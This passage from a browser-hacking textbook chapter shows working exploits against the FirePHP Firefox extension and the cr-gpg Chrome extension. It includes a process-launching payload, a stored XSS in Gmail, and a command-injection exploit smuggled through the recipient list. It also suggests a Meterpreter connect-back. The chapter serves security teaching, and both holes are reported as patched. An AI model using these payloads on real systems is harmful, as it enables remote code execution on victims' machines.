(Components.interfaces.nsILocalFile);lFile.initWithPath

(\"/Applications/Calculator.app/Contents/MacOS/Calculator\");var process=

Components.classes[\"@mozilla.org/process/util;1\"]

.createInstance(Components.interfaces.nsIProcess);process.init(lFile);

process.run(true,[],0);void(0);<\/script>":"PWND}}|

This exploit requires one more step. The victim needs to move the mouse over the Dump line in the console to trigger the Variable Viewer, which in turn exploits the browser extension. This runs the Calculator.app and the outcome is shown in Figure 7-19.

In this instance, the attack has been hidden from the victim using a large array so that the exploit is not shown in the console. A secondary advantage is that the string uses more screen real estate, so it is more likely that the victim will inadvertently pass the mouse over it.

Figure 7-19: FirePHP exploitation on OSX

image

Now you have exploited the FirePHP vulnerability on OSX. This extension can equally be exploited on Windows by updating the length and using the following string as a parameter to the lFile.initWithPath call:

"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\calc.exe\"

This vulnerability could have been exploited on any operating system where Firefox can be installed. Vulnerabilities in Firefox extensions are almost invariably easy to exploit across operating systems.

The developers of FirePHP have now fixed the vulnerability. Check out the patch at https://github.com/firephp/firephp-extension/commit/fccab466cd5f014c36082d76ae300f2cd612ba51. You will see multiple places throughout the code that concatenate attacker-controlled content without encoding or filtering.

Achieving OS Command Injection

You will be familiar with command injection in server-side scripts when they call out to the operating system. In these instances, you can smuggle your data in, and when the server uses your data as a parameter, it actually executes commands that you passed.

Conventional command injection is no different in the browser. Chrome extensions can execute programs in the filesystem by using the NPAPI. When the parameter passed to the program comes from an untrusted source like a web page, there is the potential for command injection.

The NPAPI program is executed outside of the sandbox (in the context of the user). Abusing this Chrome extension functionality should immediately give you privileged access to the operating system.

Operating System Command Injection Example

The cr-gpg Chrome extension enables e-mail PGP encryption and decryption for the Gmail web interface using an NPAPI plugin. The appropriate plugin calls the gpg binary installed on the system. The following binaries are declared in the manifest file and are employed by the plugin to call out to the gpg binary:

"plugins": [

{"path": "gmailGPG.plugin" },

{"path": "gmailGPG.dll"},

{"path": "gmailGPG.so"}

],

Kotowicz45 found a command injection vulnerability in the 0.7.4 alpha version of the cr-gpg Chrome extension.46 It makes for an ideal example to explore command injection vulnerabilities. Even though this hole was in manifest version 1, the same principle still applies to manifest version 2. Actually, for all intents and purposes, the extension would still be vulnerable to the same attack.

First, let’s explore possible attack vectors to gain control over the extension and examine what you can do. When sending a PGP encrypted message e-mail to the victims, they would decrypt the e-mail ciphertext and then the clear text would be displayed in the Gmail web interface. When a decrypted message was presented, the extension executed the following code:47

$($(messageElement).children()[0]).html(tempMessage);

This code introduced a stored XSS vulnerability into the http://mail.google.com/ and https://mail.google.com/ origins.48 That is, the injection occurred in the extension’s content script.

This kind of vulnerability isn’t on the web application side. The XSS vulnerability was only exploitable with the Chrome browser using the cr-gpg extension within the Gmail origin.

To exploit this vulnerability, you would send the victim an encrypted message containing <script>alert(1)</script>. As soon as the victim decrypted the ciphertext, the foreboding alert box containing the number 1 would be displayed.

From this privileged position, you could now launch the standard XSS attacks on the Gmail origin. You could also use the content script with the other attacks covered in the previous sections of this chapter. However, let’s get back to examining the command injection vulnerability promised earlier. Don’t worry; you’ll revisit this XSS attack when you chain everything together at the end of this section.

The cr-gpg extension calls the NPAPI plugins to do the work of encrypting and decrypting the messages. The extension passes on the mail contents and the recipients’ details to the backend for processing. The NPAPI takes that information, and on Windows it uses the gmailGPG.dll as the interface to instruct the gpg.exe binary located on the filesystem. Of course, this will vary depending upon the operating system. The following C++ code is used by the gmailGPG.dll as a harness around the gpg.exe executable.49

//Encrypts a message with the list of recipients provided

FB::variant gmailGPGAPI::encryptMessage(const FB::variant& recipients,

const FB::variant& msg)

{

string tempFileLocation = m_tempPath + "errorMessage.txt";

string tempOutputLocation = m_tempPath + "outputMessage.txt";

string gpgFileLocation = "\""+m_appPath +"gpg.exe\" ";

vector<string> peopleToSendTo =

recipients.convert_cast<vector<string> >();

string cmd = "c:\\windows\\system32\\cmd.exe /c ";

cmd.append(gpgFileLocation);

cmd.append("-e --armor");

cmd.append(" --trust-model=always");

for (unsigned int i = 0; i < peopleToSendTo.size(); i++) {

cmd.append(" -r");

cmd.append(peopleToSendTo.at(i));

}

cmd.append(" --output ");

cmd.append(tempOutputLocation);

cmd.append(" 2>");

cmd.append(tempFileLocation);

sendMessageToCommand(cmd,msg.convert_cast<string>());

<snip>

}

This section of code contains a command injection vulnerability. Looking closely, you will see the list of recipients is not filtered and is subsequently being appended to the cmd string. That cmd string is then executed by the operating system. The resulting command line is:

gpg -e --armor --trust-model=always -r <recipient> --output out.txt 2>err.txt

Now you need a way to communicate with the NPAPI plugin to successfully launch your OS command injection attack. You won’t be surprised that the content script uses message passing to communicate to the background page. The background page then tells the NPAPI plugin what to do. Finally, the response is sent back to the content script via this sequence, but (obviously) in reverse.

The background page50 instantiates the embedded plugin object by specifying the application/x-gmailgpg MIME type. This provides access via the scripting languages. The following code shows the process used in the background page:

<object id="plugin0" type="application/x-gmailgpg"></object><br />

<script>

var alerted = false;

function plugin0()

{

return document.getElementById('plugin0');

}

var testSettings = function(){

};

chrome.extension.onRequest.addListener(

function(request, sender, sendResponse) {

var gpgPath = localStorage['gpgPath'];

var tempPath = localStorage['tempPath'];

if(!gpgPath){

gpgPath = '/opt/local/bin/';

};

if(!tempPath){

tempPath = '/tmp/';

};

plugin0().appPath = gpgPath;

plugin0().tempPath = tempPath;

if (request.messageType == 'encrypt'){

var mailList = request.encrypt.maillist;

if( localStorage["useAutoInclude"] &&

localStorage["useAutoInclude"] != 'false'){

mailList.push(localStorage["personaladdress"]);

}

var mailMessage = request.encrypt.message;

sendResponse({message: plugin0().encrypt(mailList,mailMessage),

domid:request.encrypt.domel});

}else if(request.messageType == 'sign'){

This code also adds listeners to the background page that are employed by the content scripts to pass the messages. You will be interested in the encrypt message type because it is how you will smuggle your injection to the NPAPI plugin.

The mailList variable is passed unfiltered from the passed message to the plugin. Now you have an attack path from the encrypted content all the way through the NPAPI plugin call to the operating system.

There is, however, one slight loose end to tie up. Two different encryption function names have been used throughout. One was encrypt and the other was encryptMessage. There is a mapping in the gmailGPGAPI.cpp file that tells the plugin which functions should be shared with JavaScript:

gmailGPGAPI::gmailGPGAPI(const gmailGPGPtr& plugin,

const FB::BrowserHostPtr& host) : m_plugin(plugin), m_host(host)

{

registerMethod("encrypt", make_method(this, &gmailGPGAPI::encryptMessage));

registerMethod("decrypt", make_method(this, &gmailGPGAPI::decryptMessage));

Let’s explore chaining all these issues to launch a command injection attack. The following code is adapted from the publicly released exploit:51

windows_command ='%SystemRoot%\\system32\\calc.exe';

linux_command ='touch /tmp/bhh';

command = windows_command;

if (navigator.platform.indexOf('Win') !== -1) {

var nul = "nul";

var cmdsep = '&';

var cmdpref = " start /min ";

} else {

var nul = "/dev/null";

var cmdsep = ';';

var cmdpref = "";

};

chrome.extension.sendRequest({

'messageType':'encrypt',encrypt:{

'message':'Brower Hacker's Handbook',

'domel':'',

'maillist':['wade@browserhacker.com --no-auto-key-locate >' +

nul + cmdsep + cmdpref +

command + cmdsep + ‘echo ‘

]

}

});

This code, when encrypted and e-mailed to the target, will run when the target decrypts the message using the cr-gpg extension. You explored launching the basic Cross-site Scripting attack earlier in this section. This extends on that, and invisibly passes the smuggled injection from the content script to the background page and finally to the NPAPI plugin. This then launches the operating system command.

gpg -e --armor --trust-model=always -r wade@browserhacker.com

--no-auto-key-locate >nul& start /min %SystemRoot%\system32\calc.

exe&echo --output out.txt 2>err.txt

This command is what actually gets executed as a result of this script. Of course, in this instance calc.exe gets launched and will be noticed by the victim user. You can change that to whatever you like. For example, you might like to retrieve Meterpreter and have it connect back without the user being aware.

This vulnerability was promptly fixed when reported to the vendor. The functionality was changed from calling out to the operating system to using a more secure call to the libgpgme API. This change removed the opportunity for further vulnerabilities in this attack class.

The cr-gpg vulnerability has allowed you to explore some of the crossover between extensions and plugins. It showed how to exploit a Chrome extension via command injection, letting you run arbitrary executables. You can now use the methodology explored in these examples to aid in finding similar vulnerabilities in other extensions.

Summary

The advantage of moving functionality out of the browser core and into extensions has almost certainly decreased bloat. However, it has also moved the development and maintenance of important functionality into the hands of less security-aware developers. This, along with supplying them powerful privileges, has resulted in many insecure extensions. Some might argue that the decreased bloat has been at the price of total browser security.

You have different ways to look at how an extension augments the browsing experience. In some instances, it may be helpful to view extensions as a virtual web application that runs in the origin of each page. It can also be useful to see them as being similar to an application that is installed on an operating system. In either case, it is important to understand that they run in a privileged context and have access to privileged APIs.

This chapter has delved into the anatomy of the extensions and how you can detect if the hooked browser has your target extension installed. You have examined the sizable extension attack surface and its vulnerability classes. You now know how Cross-context Scripting works and some of the most reliable methods to get privilege escalation.

Sophisticated techniques to exploit Chrome and Firefox extensions have been explored throughout this chapter. In the next chapter, you dive into attacking browser plugins. Plugins are another popular way to augment the browsing experience, and they too have a vast attack surface.

Questions

1. Compare the Chrome and Firefox extension security models.

2. What is an effective way to fingerprint an extension?

3. What is the chrome:// zone and why is it important?

4. How does CSP apply to browser extensions?

5. How does SOP apply to browser extensions?

6. How can you execute OS commands in Firefox extensions?

7. How can you execute OS commands in Chrome extensions?

8. What privileges does a content script have?

9. What privileges does the background page have?

10. What privileges do Firefox extensions have?

For answers to the questions please refer to the book’s website at https://browserhacker.com/answers or the Wiley website at: www.wiley.com/go/browserhackershandbook.

Notes

1. Google. (2013). Google Analytics Opt-out Add-on. Retrieved November 30, 2013 from https://chrome.google.com/webstore/detail/google-analytics-opt-out/fllaojicojecljbmefodhfapmkghcbnh

2. Microsoft. (2013). How do browser add-ons affect my computer. Retrieved November 30, 2013 from http://windows.microsoft.com/en-AU/windows-vista/How-do-browser-add-ons-affect-my-computer

3. Wikipedia. (2013). Mozilla Add-ons. Retrieved November 30, 2013 from http://en.wikipedia.org/wiki/Mozilla_Add-ons

4. Roberto Suggi Liverani, Nick Freeman. (2009). Abusing Firefox Extensions. Retrieved November 30, 2013 from http://www.security-assessment.com/files/documents/presentations/liverani_freeman_abusing_firefox_extensions_defcon17.pdf

5. Mozilla. (2013). nsILoginManager. Retrieved November 30, 2013 from https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsILoginManager#searchLogins()

6. Nick Freeman. (2009). ScribeFire (Mozilla Firefox Extension)––Code Injection Vulnerability. Retrieved November 30, 2013 from http://www.security-assessment.com/files/advisories/ScribeFire_Firefox_Extension_Privileged_Code_Injection.pdf

7. Roberto Suggi Liverani and Nick Freeman. (2010). Exploiting Cross Context Scripting Vulnerabilities in Firefox. Retrieved November 30, 2013 from http://www.security-assessment.com/files/documents/whitepapers/Exploiting_Cross_Context_Scripting_vulnerabilities_in_Firefox.pdf

8. Mozilla. (2013). nsIOutputStream. Retrieved November 30, 2013 from https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIOutputStream

9. Mozilla. (2013). Displaying web content in an extension without security issues. Retrieved November 30, 2013 from https://developer.mozilla.org/en-US/docs/Displaying_web_content_in_an_extension_without_security_issues

10. Adam Barth, Adrienne Porter Felt, Prateek Saxena, and Aaron Boodman. (2012). Protecting Browsers from Extension Vulnerabilities. Retrieved November 30, 2013 from http://www.cs.berkeley.edu/~afelt/secureextensions.pdf

11. Google. (2013). Google Chrome Webstore. Retrieved November 30, 2013 from https://chrome.google.com/webstore/category/extensions

12. Nicholas Carlini, Adrienne Porter Felt, and David Wagner. (2012).An Evaluation of the Google Chrome Extension Security Architecture. Retrieved November 30, 2013 from http://www.eecs.berkeley.edu/~afelt/extensionvulnerabilities.pdf

13. W3C. (2012). Content Security Policy 1.0. Retrieved November 30, 2013 from http://www.w3.org/TR/CSP/

14. Google. (2013). Content scripts. Retrieved November 30, 2013 from https://developer.chrome.com/extensions/content_scripts.html

15. Google. (2013). NPAPI. Retrieved November 30, 2013 from http://developer.chrome.com/extensions/npapi.html

16. Wikipedia. (2013). NPAPI. Retrieved November 30, 2013 from https://en.wikipedia.org/wiki/NPAPI

17. Google. (2013). NPAPI warning. Retrieved November 30, 2013 from http://developer.chrome.com/extensions/npapi.html#warning

18. Google. (2013). Permission warning. Retrieved November 30, 2013 from https://developer.chrome.com/extensions/permission_warnings.html

19. Google. (2013). Messaging security considerations. Retrieved November 30, 2013 from http://developer.chrome.com/extensions/messaging.html#security-considerations

20. Google. (2013). Content security policy. Retrieved November 30, 2013 from http://developer.chrome.com/extensions/contentSecurityPolicy.html

21. Microsoft. (2013). Browser Extensions. Retrieved November 30, 2013 from http://msdn.microsoft.com/en-us/library/aa753587(v=vs.85).aspx

22. Microsoft. (2013). Browser Extensions Overviews and Tutorials. Retrieved November 30, 2013 from http://msdn.microsoft.com/en-us/library/aa753616(v=vs.85).aspx

23. Microsoft. (2013). About Browser Extensions. Retrieved November 30, 2013 from http://msdn.microsoft.com/en-us/library/aa753620(v=vs.85).aspx

24. Giovanni Cattani. (2013). Detecting Chrome Extensions in 2013. Retrieved November 30, 2013 from http://gcattani.co.vu/2013/03/detecting-chrome-extensions-in-2013/

25. Krzysztof Kotowicz. (2012). Chrome addons enumeration. Retrieved November 30, 2013 from http://koto.github.io/blog-kotowicz-net-examples/chrome-addons/enumerate.html

26. Krzysztof Kotowicz. (2013). XssChef. Retrieved November 30, 2013 from https://github.com/koto/xsschef/blob/master/tools/scrap.php

27. Giovanni Cattani. (2013). The evolution of Chrome extensions. Retrieved November 30, 2013 from http://blog.beefproject.com/2013/04/the-evolution-of-chrome-extensions.html

28. Joseph Bonneau. (2011). Measuring password re-use empirically. Retrieved November 30, 2013 from http://www.lightbluetouchpaper.org/2011/02/09/measuring-password-re-use-empirically/

29. Paul Smith. (2012). LinkedIn breach has wider impact on users’ security. Retrieved November 30, 2013 from http://www.brw.com.au/p/technology/linkedin_breach_has_wider_impact_OX43PuN2b7KS56Z0pAX0bM

30. Dave Drager. (2011). Five Best Browser Security Extensions. Retrieved November 30, 2013 from http://lifehacker.com/5770947/five-best-browser-security-extensions

31. Wikipedia. (2013). Cross-zone scripting. Retrieved November 30, 2013 from http://en.wikipedia.org/wiki/Cross-zone_scripting

32. Petko Petkov. (2006). Cross-content scripting with Sage. Retrieved November 30, 2013 from http://www.gnucitizen.org/blog/cross-context-scripting-with-sage/

33. Stackoverflow. (2013). Load remote webpage in background page: Chrome Extension. Retrieved November 30, 2013 from http://stackoverflow.com/questions/11845118/load-remote-webpage-in-background-page-chrome-extension

34. Amazon. (2013). Amazon 1Button App for Chrome. Retrieved November 30, 2013 from https://chrome.google.com/webstore/detail/amazon-1button-app-for-ch/pbjikboenpfhbbejgkoklgkhjpfogcam

35. Aldo Cortesi. (2013). MITMproxy. Retrieved November 30, 2013 from http://mitmproxy.org/

36. Ezanker. (2013). ezLinkPreview. Retrieved November 30, 2013 from http://www.simpledifference.com/ezanker/

37. Google. (2013). Chrome tabs: execute script. Retrieved November 30, 2013 from http://developer.chrome.com/extensions/tabs.html#method-executeScript

38. Michael Gundlach. (2013). AdBlock. Retrieved November 30, 2013 from https://chrome.google.com/webstore/detail/adblock/gighmmpiobklfepjocnamgkkbiglidom

39. Wladimir Palant. (2011). Add frame busting code to HTML pages. Retrieved November 30, 2013 from https://github.com/adblockplus/adblockpluschrome/commit/4b50a67f8d5a24b8e1298320536c30f2e4e38448

40. Krzysztof Kotowicz. (2012). Chrome addons hacking: Bye Bye AdBlock filters! Retrieved November 30, 2013 from http://blog.kotowicz.net/2012/03/chrome-addons-hacking-bye-bye-adblock.html

41. Adblockforchrome. (2012). Adblockforchrome: subscribe.js. Retrieved November 30, 2013 from https://code.google.com/p/adblockforchrome/source/browse/trunk/pages/subscribe.js?spec=svn5004&r=3525

42. Adblockforchrome. (2012). Adblockforchrome: functions.js. Retrieved November 30, 2013 from https://code.google.com/p/adblockforchrome/source/browse/trunk/functions.js?r=3525

43. Scribefire. (2013). Scribefire. Retrieved November 30, 2013 from http://www.scribefire.com/

44. Eldar Marcussen. (2013). FirePHP firefox plugin remote code execution. Retrieved November 30, 2013 from http://www.justanotherhacker.com/advisories/JAHx132.txt

45. Krzysztof Kotowicz. (2012). Owning a system through a Chrome extension––cr-gpg 0.7.4 vulns. Retrieved November 30, 2013 from http://blog.kotowicz.net/2012/09/owning-system-through-chrome-extension.html

46. Thinkst. (2013). Cr-gpg. Retrieved November 30, 2013 from http://thinkst.com/tools/cr-gpg/

47. Jameel Haffejee. (2011). Cr-gpg: content_script.js. Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/chromeExtension/content_script.js#L29

48. Jameel Haffejee. (2011). Cr-gpg: manifest.json. Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/chromeExtension/manifest.json#L19

49. Jameel Haffejee. (2011). Cr-gpg: gmailGPGAPI.cpp. Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/gmailGPG/windows/gmailGPGAPI.cpp#L129

50. Jameel Haffejee. (2011). Cr-gpg: background.html. Retrieved November 30, 2013 from https://github.com/RC1140/cr-gpg/blob/v0.7.4/chromeExtension/background.html#L5

51. Krzysztof Kotowicz. (2012). Cr-gpg exploit. Retrieved November 30, 2013 from https://github.com/koto/blog-kotowicz-net-examples/blob/master/chrome-addons/cr-gpg/exploit.js